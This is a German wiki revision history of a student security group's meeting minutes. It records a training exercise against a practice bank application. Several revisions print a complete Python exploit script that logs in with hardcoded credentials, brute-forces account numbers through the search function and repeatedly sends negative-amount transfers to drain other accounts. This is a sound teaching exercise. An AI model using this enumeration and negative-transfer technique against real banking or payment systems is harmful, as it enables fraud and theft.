CInsects/Protokolle/CInsects:Treffen-2010-11-16 - Versionsgeschichte

1steenfa: Bot: Kosmetische Änderungen

2012-06-08T15:12:42Z

Bot: Kosmetische Änderungen

← Nächstältere Version		Version vom 8. Juni 2012, 15:12 Uhr
Zeile 211:		Zeile 211:

	</pre>		</pre>
	[[Kategorie: CInsects-Protokolle]]
			[[Kategorie:CInsects-Protokolle]]

134.100.4.41 am 4. Januar 2011 um 17:33 Uhr

2011-01-04T17:33:08Z

← Nächstältere Version		Version vom 4. Januar 2011, 17:33 Uhr
Zeile 1:		Zeile 1:
	Diese Seite ist eine Unterseite von [[CInsects]].		Diese Seite ist eine Unterseite von [[CInsects]].

	Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.		Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.

	= Exploit =		= Exploit =

81.163.36.27: /* Ein moeglicher Exploit */

2010-12-26T21:00:08Z

Ein moeglicher Exploit

← Nächstältere Version		Version vom 26. Dezember 2010, 21:00 Uhr
Zeile 5:		Zeile 5:
	= Exploit =		= Exploit =

	~~== Ein moeglicher Exploit ==~~
	~~Haesslicher Quelltext:~~

	~~<pre>~~

	~~import urllib2~~
	~~import urllib~~
	~~import cookielib~~
	~~import re~~
	~~from itertools import product~~
	~~import string~~

	~~cj = cookielib.CookieJar()~~
	~~opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))~~
	~~urllib2.install_opener(opener)~~

	~~url = 'http://badbank.cinsects.de'~~
	~~data = urllib.urlencode({~~
	~~'user': 'Jan',~~
	~~'password': 'AZyNEBAeTC'~~
	})
	~~request = urllib2.urlopen(url + '/index.php', data)~~
	~~login = request.read()~~

	~~def alpha_beta_liste():~~
	~~return [a+b for a, b in product(string.lowercase, string.lowercase)]~~

	~~def search(params):~~
	~~print params~~
	~~req = urllib2.urlopen(url + '/index.php?page=search', params)~~
	~~suche = req.read()~~
	~~result = ktnre.findall(suche)~~
	~~if result:~~
	~~name_nummer_list.append(result)~~
	~~print name_nummer_list~~

	~~def transfer(kontonummer, betrag, tan_id, tan):~~
	~~params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan})~~
	~~req = urllib2.urlopen(url + '/index.php?page=transfer', params)~~
	~~seite = req.read()~~
	~~if erfolg.findall(seite):~~
	~~print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag)~~
	~~else:~~
	~~print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name~~

	~~alphabeta = alpha_beta_liste()~~
	~~ktnre = re.compile('<td>(.*)</td>')~~
	~~betrag = -10~~
	~~tan_id = 500~~
	~~tan = 700338~~
	~~erfolg = re.compile("<h2>Erfolgreiche Ueberweisung!</h2>")~~
	~~name_nummer_list = []~~

	~~for name in alphabeta:~~
	~~print name~~
	~~params = urllib.urlencode({'name': name})~~
	~~while True:~~
	~~try:~~
	~~search(params)~~
	~~break~~
	~~except urllib2.URLError, e:~~
	~~print "Fehler aufgetreten" + e~~


	~~while True:~~
	~~for elem in name_nummer_list:~~
	~~name, kontonummer = elem~~

	~~while True:~~
	~~try:~~
	~~transfer(kontonummer, betrag, tan_id, tan)~~
	~~break~~
	~~except:~~
	~~pass~~
	~~</pre>~~

	== Schnelles auslesen der Kontonummern ueber gevent ==		== Schnelles auslesen der Kontonummern ueber gevent ==

134.100.4.125: Neueres script

2010-11-23T10:31:58Z

Neueres script

@@ Zeile 170: / Zeile 170: @@
      printKonto()
      time.sleep(5)
 </pre>
 [[Kategorie: CInsects-Protokolle]]

134.100.4.59: kontoabfragescript

2010-11-17T15:41:34Z

kontoabfragescript

@@ Zeile 131: / Zeile 131: @@
 user	0m1.356s
 sys	0m0.240s
 </pre>
 [[Kategorie: CInsects-Protokolle]]

85.183.86.106: Kategorie: CInsects-Protokolle hinzugefuegt

2010-11-17T00:27:48Z

Kategorie: CInsects-Protokolle hinzugefuegt

← Nächstältere Version		Version vom 17. November 2010, 00:27 Uhr
Zeile 132:		Zeile 132:
	sys 0m0.240s		sys 0m0.240s
	</pre>		</pre>
			[[Kategorie: CInsects-Protokolle]]

85.183.86.106: ein wenig einfuehrender text

2010-11-17T00:05:10Z

ein wenig einfuehrender text

← Nächstältere Version		Version vom 17. November 2010, 00:05 Uhr
Zeile 1:		Zeile 1:
			Diese Seite ist eine Unterseite von [[CInsects]].

			Heute haben wir uns überwiegend mit dem Automatisieren von Angriffen beschäftigt. Es ging darum eine Bankanwendung zu benutzen. Jeder Nutzer bekam einen Nutzernamen und ein Passwort, sowie eine TAN-Liste. Mit den Daten konnte er sich einloggen und Geld an andere Konten ueberweisen. Die Konten waren mit Hilfe einer Suchfunktion in der Banksoftware auffindbar. Mit etwas Ausprobieren fand man schnell raus, dass man negative Betraege ueberweisen konnte und so mehr Geld auf dem eigenem Konto lag. Diesen Angriff galt es nun zu automatisieren. Es wurde Python als Programmiersprache empfohlen und gezeigt wie man ein Pythonprogramm schreibt. [http://ipython.scipy.org/ ipython] und die [http://docs.python.org Dokumentation] waren hilfreich um den Angriff zu schreiben. Als Tips wurden die Stichworte [http://docs.python.org/library/urllib2.html urllib2] und [http://docs.python.org/library/cookielib.html#cookielib.CookieJar CookieJar] in den Raum geschmissen. Die Firefox-Plugins [http://livehttpheaders.mozdev.org/ livehttpheaders] und [https://addons.mozilla.org/en-US/firefox/addon/60/ web developer toolbar] erleichterten das Verstaendnis beim Erforschen der Seite.

	= Exploit =		= Exploit =

91.3.89.194: Beispiel fuer gevent eingefuegt

2010-11-16T22:57:26Z

Beispiel fuer gevent eingefuegt

@@ Zeile 1: / Zeile 1: @@
 = Exploit =
 Haesslicher Quelltext:
@@ Zeile 74: / Zeile 75: @@
              except:
                  pass
 </pre>

85.183.86.106: wikify

2010-11-16T22:28:13Z

wikify

← Nächstältere Version		Version vom 16. November 2010, 22:28 Uhr
Zeile 3:		Zeile 3:
	Haesslicher Quelltext:		Haesslicher Quelltext:

	<~~code~~>		<pre>

	import urllib2		import urllib2
Zeile 74:		Zeile 74:
	except:		except:
	pass		pass
	</~~code~~>		</pre>

85.183.86.106: haesslicher quelltext vom exploit

2010-11-16T22:27:35Z

haesslicher quelltext vom exploit

Neue Seite

= Exploit =

Haesslicher Quelltext:

<code>

import urllib2
import urllib
import cookielib
import re
from itertools import product
import string

cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

url = 'http://badbank.cinsects.de'
data = urllib.urlencode({
'user': 'Jan',
'password': 'AZyNEBAeTC'
})
request = urllib2.urlopen(url + '/index.php', data)
login = request.read()

def alpha_beta_liste():
return [a+b for a, b in product(string.lowercase, string.lowercase)]

def search(params):
print params
req = urllib2.urlopen(url + '/index.php?page=search', params)
suche = req.read()
result = ktnre.findall(suche)
if result:
name_nummer_list.append(result)
print name_nummer_list

def transfer(kontonummer, betrag, tan_id, tan):
params = urllib.urlencode({'account': kontonummer, 'amount': betrag, 'tan_id': tan_id, 'tan': tan})
req = urllib2.urlopen(url + '/index.php?page=transfer', params)
seite = req.read()
if erfolg.findall(seite):
print "Von %s wurden %s Geldeinheiten auf mein Konto ueberwiesen." % (name, -betrag)
else:
print "Es konnte leider kein Geld von %s auf mein Konto ueberwiesen werden." % name

alphabeta = alpha_beta_liste()
ktnre = re.compile('<td>(.*)</td>')
betrag = -10
tan_id = 500
tan = 700338
erfolg = re.compile("<h2>Erfolgreiche Ueberweisung!</h2>")
name_nummer_list = []

for name in alphabeta:
print name
params = urllib.urlencode({'name': name})
while True:
try:
search(params)
break
except urllib2.URLError, e:
print "Fehler aufgetreten" + e

while True:
for elem in name_nummer_list:
name, kontonummer = elem

while True:
try:
transfer(kontonummer, betrag, tan_id, tan)
break
except:
pass
</code>